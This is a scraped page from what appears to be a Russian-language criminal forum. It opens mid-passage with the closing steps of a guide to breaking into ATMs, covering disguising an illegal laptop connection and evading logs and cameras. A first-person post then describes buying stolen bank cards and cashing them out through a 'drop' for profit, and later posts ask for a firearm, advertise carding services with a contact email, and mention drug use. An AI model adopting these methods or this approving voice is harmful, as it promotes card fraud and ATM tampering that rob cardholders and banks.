ведет логи и протоколы всех действий. Подумайте, как можно обмануть систему. 11. Наконец все! Вы отсоединяете свой ноутбук от кабеля, по возможности замаскировав нелегальное подключение, и отправляетесь в ближайший компьютерный салон за новым микропроцессором. 12. Однако помните, что многие банкоматы сейчас снабжены контрольными телекамерами, что не есть хорошо. Но к счастью, еще не все И стальная крыса всегда найдет для себя щель! Послесловие А вообще, чтобы ломать банкоматы, неплохо бы разобраться в их устройстве, типовом протоколе обмена и программном обеспечении То есть так или иначе выбрать себе работу, связанную с их разработкой, созданием или по крайней мере эксплуатацией В этом случае вы получите действительно достоверную информацию об их устройстве, а также слабых и сильных сторонах А ведь уязвимость у них действительно есть Только она неочевидна для постороннего, не работавшего с ними человека. Но как и любому человеческому творению, этому свойственны недостатки не в меньшем числе. На Данный момент не со всеми банкоматами работает данная система
-
1 баллЭто моя первая схема, которой я занимался ради денег, а не ради удовольствия. Произошло это в сентябре 2009 года, моего отчима забрали с работы в предобморочном состоянии. Приехав в больницу, я увидел его, диагноз - инсульт. Переговорив с врачом, мне дали ясно понять, что если своевременно не будет проведена дорогостоящая операция, моему отчиму останется не долго. Одна из операций, самая дорогостоящая, которая необходима была для поддержания нормальной работы сердца - это аортокороное шунтирование. Стоимость всех операций была в пределах 550-700круб. У меня на руках было только 180 ... И я начал думать. Это были уже не предыдущие забавы, сейчас жизнь человека зависела от меня. Перебрав десяток вариантов, я остановился на одном, посчитав его наиболее оптимальном. Я остановился на обнале банковских карт. О кардинге я слышал уже очень давно, легкие деньги за несколько минут, дорогие машины, рестораны, все это безусловно манило меня, но залезать сюда все-же не хотел. Опасное это дело, шальные деньги до добра еще ни кого не доводили. Выбора у меня не было... В списке контактов у меня в асе был один знакомый, который параллельно занимался обналом, пообщавшись с ним, я договорился купить для начала 3 карточки по 1000$ за шт., карточки по его словам должны были быть с балансом 2000-2200$. Ориентировочная прибыль со сделки с вычетом расходов на доставку и оплату дропу, должна была составить 3000$. На тот момент с человеком я общался уже пол года, у него была хорошая репутация на тематических форумах, но финансовых дел с ним я не имел, по-этому решил провести сделку через гаранта одного из форумов. Оплатив заказ, я стал ждать. На третий день ожиданий у меня были сгрызаны все ногти, скурино было около блока парламента, бессонные ночи тоже давали свое. На четвертый день я получил карты, отдал их своему дропу и отправил его обналичивать. через час дроп вернулся с деньгами. Все прошло гладко. Радости не было, была очень напряженная обстановка, драгоценное время уходило, голова была забита медицинскими названиями операций. Я продолжал работу. В день обнала я написал продавцу, что все "ГУД", и заказал очередную партию карт. Дальше все по налаженной схеме: доставка/обнал/доставка/обнал. За 18 дней плодотворной работы у меня на счете было 28.000$ Операция в конечном счете обошлась мне в 370.000 рублей (по программе) на оставшиеся деньги взял 220-ый на осень
-
1 балл
-
1 баллПодскажите или отпишите кто может помочь,срочно очень нужен боевой или хотябы травма??
-
1 балл
-
1 балл
-
1 баллВозьмусь за вашу работу. Все предложения в лс. Опыт кардинга. так же В скором времени должны появится дропы. Жду предложений в ЛС либо на мыло qwefgfeee@mail.ru Территориально г.самара
-
1 баллК наркотикам отношусь нейтрально, каждый снимает стресс по своему. Еще когда в речке учился бывало анашу курил по выходным) Но детство кончилось, повзрослел, поумнел.